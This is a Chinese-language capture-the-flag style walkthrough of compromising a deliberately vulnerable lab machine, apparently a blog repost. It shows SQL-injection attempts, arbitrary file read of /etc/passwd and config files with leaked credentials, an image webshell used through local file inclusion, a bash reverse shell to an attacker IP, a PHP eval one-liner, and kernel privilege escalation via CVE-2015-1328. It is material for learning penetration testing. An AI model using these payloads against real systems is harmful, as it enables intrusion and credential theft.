学习目的
<img />技术小贴
SQL注入
图**马上传
文件包含漏洞利用
反弹Shell
权限提升
靶机搭建
下载链接
提取码: e436
网络配置:选择默认的桥接方式即可!
主机发现
ip发现
nmap -sP 192.168.43.1/24
Nmap scan report for 192.168.43.127
Host is up.
端口和服务识别
nmap -p- -A 192.168.43.127 -oN india_nmap.txt
A :全服务的深度识别
oN :输出到文本
漏洞挖掘
访问测试
<img />
发现提示:Show me your SQLI skills,明显这个登录脚本存在SQL注入,好吧开搞!
手工注入
万能密码跑起来:
admin 'or 'a'='a
admin' or '1'='1
发现都不行啊,bie怪我了,上SQLMAP
SQLMAP
审计表单:
<form method="post">
<input type="text" name="un">
<input type="password" name="ps">
<input type="submit" name="login" value="let's login">
</form>
不难看出,这里以POST方式提交表单,其中用户名和密码的提交参数分别为un和ps
SQLMAP跑起来:
sqlmap.py -u "http://192.168.43.127/" --data "un=admin&ps=admin&login=let%27s+login" --dbms=mysql --level 2
技巧:这里使用%27代替了let's中的单引号,避免语句报错!
all tested parameters do not appear to be injectable
SQLMAP也没跑出东西来,你是开玩笑吗,确定是线索SQL注入不是拿来忽悠我玩的?
换个思路,换个姿势,继续搞!
目录爆破
buster -u "http://192.168.43.127" -d=php.txt -t=5
200 OK-----http://192.168.43.127//add.php
200 OK-----http://192.168.43.127//index.php
200 OK-----http://192.168.43.127//head.php
200 OK-----http://192.168.43.127//test.php
200 OK-----http://192.168.43.127//show.php
200 OK-----http://192.168.43.127//phpmy
200 OK-----http://192.168.43.127//c.php
200 OK-----http://192.168.43.127//in.php
200 OK-----http://192.168.43.127//panel.php
200 OK-----http://192.168.43.127//phpmy/config.sample.inc.php
任意文件读取
访问http://192.168.43.127/test.php
<img />
发现test.php可以传入file参数
使用burp劫持该流量包,并修改为post方式,修改请求路径,请求/etc/passwd
方式1:通过BurpSuite重放修改包
直接截取test.php的GET包,尝试不成功
截取登录脚本的POST包,并修改/为/test.php,并且添加file=../../../../etc/passwd,成功下载
方式2:通过Mantra修改post参数
可以成功下载/etc/passwd<img /><img />
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
以同样方式,下载/etc/shadow,但是里面内容为空,无法利用,暂时不谈。
数据库密码泄露
通过上面的任意文件读取漏洞下载c.php,可以发现其中包含了数据库用户密码等敏感信息!
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
#数据库名:ica_lab
#数据库用户:billu
#数据库密码:b0x_billu
mysql -h 192.168.43.127 -u billu -p
Enter password: *********
ERROR 2003 (HY000): Can't connect to MySQL server on '192.168.43.127' (10061)
虽然已经拿到了数据库的用户和密码,但是远程拒绝登录,暂时无法利用!
读取phpMyadmin配置文件
phpmyadmin默认后台配置文件:config.inc.php
利用test.php下载之:file=..%2f..%2f..%2fvar/www/phpmy/config.inc.php
<?php
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
直接发现root账户和密码:roottooroor
成功登录靶机:
打完收工?No,笔者又在网站层面发现了一个文件上传漏洞,同样可以Getshell,演述如下!
PhpMyadmin新建用户
访问链接:http://192.168.43.127/phpmy/
用户名:密码为billu:b0x_billu
在auth表中发现网站用户,并且新建用户:shavchen:password !
<img />
以刚才新建的shavchen用户登陆后台!
<img />
上传图**马
发现上传点:
在后台发现上传头像的地方,欲上传一只图**马儿,嗷嗷
<img />
上传图**马:
<img />
图**马地址:http://192.168.43.127/uploaded_images/shavchen.jpg
<img />
文件包含漏洞点
通过test.php下载pannel.php
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
代码审计:
很明显,这里的include函数之前没有做限制,因此我们可以自定义包含的文件,即包含之前上传的图**马儿!
panel.php即登陆后的面板处理脚本,我们使用BurpSuite抓包,修改其参数,以包含我们的图**马。
文件包含漏洞利用
原始数据包:
POST /panel.php HTTP/1.1
Host: 192.168.43.127
Content-Length: 27
Cache-Control: max-age=0
Origin: http://192.168.43.127
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.43.127/panel.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3
Connection: close
load=show&continue=continue
修改后数据包:
POST /panel.php?cmd=%20cat%20/etc/passwd;ls HTTP/1.1
Host: 192.168.43.127
Content-Length: 27
Cache-Control: max-age=0
Origin: http://192.168.43.127
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.43.127/panel.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3
Connection: close
load=/uploaded_images/shavchen.jpg&continue=continue
<img />
至此,成功利用图**马突破被控主机,下一步,反弹shell并进行相关提权操作!
Getshell
Bash反弹一句话
echo "bash -i>& /dev/tcp/192.168.43.114/4444 0>&1" | bash
使用URL编码:
echo%20%22bash%20%2Di%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E43%2E114%2F4444%200%3E%261%22%20%7C%20bash
<img />
获取标准Shell
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升
查看内核
www-data@indishell:/var/www$ uname -r
uname -r
3.13.0-32-generic
提权技巧
ubuntu 12.04 14.04 15.05 ---> CVE-2015-1328
centos redhat ---> 脏牛
提权操作
searchsploit ubuntu 12.04
cd /usr/share/exploitdb/exploit/linux/local
ls -l 37292.c
将.c文件上传到目标机器
gcc 37292.c -o exp
./exp
<img />
文件上传
1.菜刀上传
利用刚才的文件包含漏洞,向uploaded_images目录下写入一句话脚本,再使用菜刀连接之!
echo "<?php eval ($_POST['123456']);?>" >>caidao.php
编码后:
echo%20%22%3C%3Fphp%20eval%20%28%24%5FPOST%5B%27123456%27%5D%29%3B%3F%3E%22%20%3E%3Ecaidao%2Ephp
2.Wget上传
在Kali上开启python临时服务器,再在目标机上使用Wget的命令下载之!
#Kali
python -m SimpleHTTPServer
#Target
wget http://yourip:8000/filename
<img />
3.Scp上传
#远程到本地
scp root@192.168.43.114:/tmp/exp.c /tmp/exp.c
#本地到远程
ssh /tmp/exp.c root@192.168.43.114:/tmp/exp.c
4.Terminal上传
直接使用Mobasterm终端连接工具,利用自带的SFTP模块上传文件!
总结
高线程的目录爆破或者爬虫**造成Apache服务器的异常
service apache2 restart
root用户大部分时间无法直接登陆后台
jpg文件被包含到php主文件里面,可以解析为php脚本。
图**马不可控,不一定**一次解析成功
原创文章,作者:小嵘源码,如若转载,请注明出处:https://www.lcpttec.com/asan/